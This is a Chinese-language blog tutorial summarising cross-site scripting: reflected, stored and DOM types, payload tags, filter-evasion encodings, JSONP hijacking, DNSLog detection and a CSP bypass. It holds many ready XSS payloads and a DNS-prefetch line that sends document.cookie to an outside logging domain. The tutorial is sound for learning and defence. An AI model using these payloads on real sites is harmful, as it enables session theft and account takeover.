XSS总结
简介
XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS,比较合适的方式应该叫做跨站脚本攻击。
跨站脚本攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。
危害
XSS漏洞可能会给网站带来以下的一些危害:
- 网络钓鱼,盗取用户的账号
- 获取用户的cookie信息,其中可能存在 Session ID 等信息,攻击者可以利用这些信息冒充用户登陆服务器。
- 劫持用户浏览器,强制弹窗,转跳刷流量。
- 攻击者能够在一定限度内记录用户的键盘输入。
- 攻击者通过CSRF等方式以用户身份执行危险操作。
- 获取客户端隐私信息。
- XSS蠕虫。
- 利用XSS漏洞扫描用户内网。
原理
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号 <
被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
example:(反射型)
1 | <html> |
这里我们通过GET方法把xss_input
参数到后端,后端没有对该参数做任何检查就把该参数显示出来。
当我们提交这样一段数据:
1 | <script>alert('XSS')</script> |
浏览器就会把这一段内容当成HTML标签解析,导致里面的 JS 语句被执行,而不是当作文本输出。
反射型XSS
反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。
简介中的 example 就是一个简单的反射型XSS漏洞模板
我们查看页面元素可以看到我们输入的内容被当作了HTML标签执行。
由于反射型XSS需要用户访问该连接才能实现,因此容易被有安全意识的用户发现,因此攻击者可以利用短网址或者二维码这样的方式来进行障眼法,避免含有攻击代码的URL直接暴露在用户的面前。
存储型XSS
存储型跨站脚本(Stored Cross-site Scripting)也叫持久型XSS,意思是用户提交的数据会被存储在后端(不管是数据库、内存还是文件系统等),当攻击者提交的包含有XSS攻击的代码被存储在后端中,其他用户访问该页面的时候,后端会将数据取出来显示在页面上,这时候用户就会受到XSS攻击,最典型的应用是留言板。
example:
- 首先我们本地新建一个名字叫做
xss
的数据库,里面新建一个message
表,用来存放用户的留言信息,字段名分别是id
、username
、message
1 | SET NAMES utf8mb4; |
- 然后是后端页面
1 | <meta charset="utf-8"> |
当我们构造<script>alert(11)<\script>
输入,然后查看数据库
发现我们的JS攻击语句已经被存储到数据库中。
当用户访问该页面的时候就会执行该JS语句,再察看页面元素,发现HTML标签被解析出来。
DOM型XSS
通过修改页面的DOM节点形成的XSS,称之为DOM XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。
example:
1 | <html> |
功能很简单,用户输入框插入图片地址后,页面会将图片插入在 id=”output” 的 div 标签中,从而显示在网页上。
当攻击者输入:
1 | x' onerror='javascript:alert(/xss/) |
会直接在 img 标签中加入 onerror 事件,该事件是当图片加载出错时执行的语句,当我们输入无效的 src 地址导致图片加载出错时就会触发事件,从而实现弹窗效果。
XSS常用标签
script
1 | <scirpt>alert("xss");</script> |
img
1 | <img src=1 onerror=alert("xss");> |
input
1 | <input onfocus="alert('xss');" autofocus> |
details
1 | <details open ontoggle="alert('xss');"> |
svg
1 | <svg onload=alert("xss");> |
select
1 | <select onfocus=alert(1) autofocus> |
iframe
1 | <iframe onload=alert("xss");></iframe> |
video/audio
1 | <video src=x onerror="alert('xss');"> |
a
1 | <a href="javascript:alert('xss')">aa</a> |
form
1 | <form action=javascript:alert('xss') method="get"> |
XSS常见注入方式
- 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
- 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
- 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
- 在标签的 href、src 等属性中,包含
javascript:
等可执行代码。 - 在 onload、onerror、onclick 等事件中,注入不受控制代码。
- 在 style 属性和标签中,包含类似
background-image:url("javascript:...");
的代码(新版本浏览器已经可以防范)。 - 在 style 属性和标签中,包含类似
expression(...)
的 CSS 表达式代码(新版本浏览器已经可以防范)。
HTML无法执行脚本的标签
在某些标签的内部,通过内嵌引入的脚本是不会执行的,需要通过闭合原有的标签才能执行。
1 | <title></title> |
还有一些标签,直接无法嵌套其他标签,系统会提示报错:
1 | <script></script> |
XSS常见绕过方式
关键字被过滤
使用上述的其他标签代替
大小写绕过
1 | <ScRipt>aLErt('xss')</ScRipt> |
- 双写绕过
1 | <scrscriptipt>alert('xss')</scrscriptipt> |
- 字符拼接
1 | <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> |
编码绕过
- Unicode编码
1
2
3<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">- url编码
1
2<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>- Ascii码
1
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
- hex
1
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
- 八进制
1
<img src=x onerror=alert('\170\163\163')>
- base64
1
2<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">内嵌编码后TAB
1 | <img src="jav	ascript:alert('XSS');"> |
- 多重尖括号
1 | <<script>alert("XSS");//<</script> |
- 使用一些字符绕过”.js”过滤
将JS文件重命名为图像
1 | <script src="http://xss.rooks/xss.jpg"> |
过滤空格/引号
- 使用
/
代替
1 | <img/src="x"/onerror=alert("xss");> |
过滤单/双引号
- 使用反引号代替
1 | <img src=x onerror=alert(`xss`);> |
- 编码绕过
1 | <img src=x onerror=alert('xss');> |
过滤括号
- 使用 throw 绕过
1 | <script>onerror=alert;throw 1337</script> |
onerror
在每次javascript执行异常时都会被激活,调用指定的处理程序,并且throw
语句可创建一个发送到onerror
处的包含表达式的自定义异常。因为throw
是一个语句,在和onerror
配合使用时需要用分号隔离,避免被包含。
- 使用``` `代替
1 | <script>alert`1`</script> |
- HTML编码绕过
1 | <script></script> |
过滤URL地址
- 使用URL编码
1 | <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> |
- 使用IP
使用进制转换
1 | <img src="x" onerror=document.location=`http://2130706433/`> |
- html标签中用
//
可以代替http://
1 | <img src="x" onerror=document.location=`//www.baidu.com`> |
- 使用
\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议
1 | <img src="x" onerror=document.location=`\\www.baidu.com`> |
- 使用中文句号代替英文点号
1 | <img src="x" onerror="document.location=`http://www。baidu。com`"> |
- 利用data类型的url代替
http://
1 | data:text,alert() |
XSS高级利用方式
JSONP劫持
script标签是可以加载异域的JavaScript并执行的,通过预先设定好的callback函数来实现和非同源页面的交互。它有一个大名,叫做JSONP跨域,JSONP是JSON with Padding的略称。它是一个非官方的协议,明明是加载script,为啥和JSON扯上关系呢?原来就是这个callback函数,对它的使用有一个典型的方式,就是通过JSON来传参,即将JSON数据填充进回调函数,这就是JSONP的JSON+Padding的含义。JSONP只支持GET请求。
a网站的前端代码:
1 | <script type="text/javascript"> |
b网站的后台代码:
1 |
|
典型的JSON劫持就是通过定义一个跟JSON接口中callback参数值相同的函数来接收JSON接口的数据,它其实就是JSON接口数据加载成功后的callback函数。JSON劫持的产生原因,重点还是在于对调用方没有做判断,或者说他的这种接口地址是固定的或者可猜测的。
example:
b网站的JSONP接口为:
1 | http://haorooms.com/data.php?callback=dosomething |
在上面的JSONP接口中,dosomething是可以修改的,我们改为<img src=0 onerror=alert(0)>
,b网站后端没有对传入的参数进行检查过滤,那么会返回:
1 | <img src=0 onerror=alert(0)>//["a","b","c"] |
一旦如果开发不严谨,没有对Content-Type进行设置或者为text/html或者application/json,可以将内容解析为html的就可能导致XSS的产生。
DNSLog
对于没有回显的XSS,我们要想知道是否成功也可以利用src
属性填入得到的域名。
example:
payload:
1 | http://127.0.0.1:81/sql.php?input=><img src=http://xss.t6n089.ceye.io/aaa> |
绕过CSP
CSP(内容安全策略)是防御XSS最有效的手段之一。当我们发现一个网站有XSS漏洞,想利用XSS平台来打Cookie时,CSP会通过白名单的方式,禁止跨域加载脚本,恶意代码便会因此被阻挡在门外,导致此XSS无法利用。对此,我们可以使用DNS预解析突破CSP的阻拦。
DNS预解析(DNS Prefetching)是一种能够加快网页加载速度的技术,对于跨站的链接,由于每次都要进行一次DNS解析,会消耗掉很多时间。DNS预解析在浏览器空闲时,将跨站资源的域名转化为IP 地址并缓存,真正请求资源时就避免了解析的时间。有趣的是,DNS预解析是默认开启的,并且我们可以通过rel="dns-prefetch"
来强制进行DNS预解析。
由于DNS预解析可以绕过CSP进行解析,结合DNSLOG,我们即可窃取在CSP保护下的Cookie。
example:
网站的源码:
1 | <?php |
这里网站通过<meta>
标签设置了CSP为只能加载当前域名的脚本,也就是说无法使用内联的脚本,攻击者需要找到能够注入XSS的JavaScript脚本的外联文件,这里我们可以看到后端把我们输入的值写入了set_cookie.js
文件中,然后又通过外联脚本引入了这个文件,这样我们就可以通过这里来进行XSS攻击。
在没有CSP情况下,我们通常是通过<img>
等有src属性的标签带上cookie作为参数去访问我们的服务器:
1 | var img = document.createElement("img"); |
由于这里有CSP限制了不能读取外部的资源,因此这里会报错。
这里我们就可以使用DNS预解析去进行绕过:
payload:
1 | ?input=document.querySelector('body').innerHTML="<link rel='dns-prefetch' href='http://"+document.cookie.split(/;|=/)[0].trim()+".t6n089.ceye.io'>"; |
URL编码后:
1 | ?input=document.querySelector('body').innerHTML%3D%22%3Clink%20rel%3D'dns-prefetch'%20href%3D'http%3A%2F%2F%22%2Bdocument.cookie.split(%2F%3B%7C%3D%2F)%5B0%5D.trim()%2B%22.t6n089.ceye.io'%3E%22%3B |
这种利用方法十分苛刻,因为不仅要找到能够修改后台的外联JavaScript文件的方法,而且作为XSS攻击,此payload过长,容易被怀疑,而使用短链接加载外部脚本有会被CSP禁止,再加上根据DNS的规定,域名的长度是有限制的,有时可能不发将长cookie完全带出。
参考资料
- Post title:XSS总结
- Post author:John_Frod
- Create time:2021-03-24 16:35:47
- Post link:https://keep.xpoet.cn/2021/03/24/XSS总结/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.